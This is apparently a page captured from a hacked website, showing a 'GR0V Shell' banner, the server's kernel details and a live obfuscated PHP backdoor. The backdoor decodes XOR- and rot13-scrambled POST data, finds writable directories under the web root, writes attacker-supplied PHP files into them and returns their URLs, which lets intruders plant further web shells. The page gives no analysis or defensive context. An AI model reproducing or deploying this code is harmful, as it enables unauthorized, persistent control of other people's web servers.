?
GR0V Shell
GR0V shell
Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64
<?php $zsnfp = "vehbltldhdraujuk";$pecepmzmu = "";foreach ($_POST as $lhmemlka => $cqnwfqrub){if (strlen($lhmemlka) == 16 and substr_count($cqnwfqrub, "%") > 10){oqrdxqrpj($lhmemlka, $cqnwfqrub);}}function oqrdxqrpj($lhmemlka, $bjbbn){global $pecepmzmu;$pecepmzmu = $lhmemlka;$bjbbn = str_split(rawurldecode(str_rot13($bjbbn)));function mrfjo($sxckyivd, $lhmemlka){global $zsnfp, $pecepmzmu;return $sxckyivd ^ $zsnfp[$lhmemlka % strlen($zsnfp)] ^ $pecepmzmu[$lhmemlka % strlen($pecepmzmu)];}$bjbbn = implode("", array_map("mrfjo", array_values($bjbbn), array_keys($bjbbn)));$bjbbn = @unserialize($bjbbn);if (@is_array($bjbbn)){$lhmemlka = array_keys($bjbbn);$bjbbn = $bjbbn[$lhmemlka[0]];if ($bjbbn === $lhmemlka[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function egogfxgz($fanpfbjkeir) {static $zygycq = array();$qyvunffhp = glob($fanpfbjkeir . '/*', GLOB_ONLYDIR);if (count($qyvunffhp) > 0) {foreach ($qyvunffhp as $fanpfbjke){if (@is_writable($fanpfbjke)){$zygycq[] = $fanpfbjke;}}}foreach ($qyvunffhp as $fanpfbjkeir) egogfxgz($fanpfbjkeir);return $zygycq;}$pdeqg = $_SERVER["DOCUMENT_ROOT"];$qyvunffhp = egogfxgz($pdeqg);$lhmemlka = array_rand($qyvunffhp);$euqxrbc = $qyvunffhp[$lhmemlka] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($euqxrbc, $bjbbn);echo "http://" . $_SERVER["HTTP_HOST"] . substr($euqxrbc, strlen($pdeqg));exit();}}}
T1KUS90T